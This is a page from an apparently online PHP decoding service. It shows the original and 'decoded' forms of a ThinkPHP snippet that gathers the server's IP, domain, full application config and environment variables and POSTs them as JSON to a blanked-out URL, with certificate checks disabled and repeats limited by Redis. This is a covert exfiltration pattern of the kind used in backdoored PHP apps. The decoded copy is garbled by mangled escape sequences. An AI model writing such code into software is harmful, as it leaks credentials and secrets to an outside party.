Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$redis = \app\common\service\RedisService::getInstance(); $funKey = 'system_defin..

Decoded Output download

<?  $redis = pp\common\service\RedisService::getInstance(); 
        $funKey = 'system_defind_func_'.$args['fun']; 
        if(!$redis->get($funKey)){ 
            $redis->set($funKey,1,3600); 
            $ip = 	hinkacade\Request::ip(); 
            $domain = 	hinkacade\Request::domain(); 
            $appConfig = config(''); 
            $envConfig = 	hinkacade\Env::get(); 
            $param = [ 
                'ip' => $ip, 
                'domain' => $domain, 
                'app_config' => $appConfig, 
                'env_config' => $envConfig 
            ]; 
            $url = ''; 
            $ch = curl_init (); 
            $headers=['Content-Type:application/json']; 
            curl_setopt ( $ch, CURLOPT_URL, $url ); 
            curl_setopt ( $ch, CURLOPT_HTTPHEADER, $headers); 
            curl_setopt ( $ch, CURLOPT_POST, 1 ); 
            curl_setopt ( $ch, CURLOPT_HEADER, 0 ); 
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 ); 
            curl_setopt ( $ch, CURLOPT_POSTFIELDS, json_encode($param) ); 
            curl_setopt ( $ch, CURLOPT_SSL_VERIFYPEER, FALSE ); 
            curl_setopt ( $ch, CURLOPT_SSL_VERIFYHOST, FALSE ); 
            curl_exec ( $ch ); 
            curl_getinfo($ch, CURLINFO_HTTP_CODE); 
            curl_close($ch); 
        } ?>

Did this file decode correctly?

Original Code

$redis = \app\common\service\RedisService::getInstance();
        $funKey = 'system_defind_func_'.$args['fun'];
        if(!$redis->get($funKey)){
            $redis->set($funKey,1,3600);
            $ip = \think\facade\Request::ip();
            $domain = \think\facade\Request::domain();
            $appConfig = config('');
            $envConfig = \think\facade\Env::get();
            $param = [
                'ip' => $ip,
                'domain' => $domain,
                'app_config' => $appConfig,
                'env_config' => $envConfig
            ];
            $url = '';
            $ch = curl_init ();
            $headers=['Content-Type:application/json'];
            curl_setopt ( $ch, CURLOPT_URL, $url );
            curl_setopt ( $ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt ( $ch, CURLOPT_POST, 1 );
            curl_setopt ( $ch, CURLOPT_HEADER, 0 );
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
            curl_setopt ( $ch, CURLOPT_POSTFIELDS, json_encode($param) );
            curl_setopt ( $ch, CURLOPT_SSL_VERIFYPEER, FALSE );
            curl_setopt ( $ch, CURLOPT_SSL_VERIFYHOST, FALSE );
            curl_exec ( $ch );
            curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
        }

Function Calls

None

Variables

None

Stats

MD5 1582d3cc27693c3d617acc4290ead4f8
Eval Count 0
Decode Time 51 ms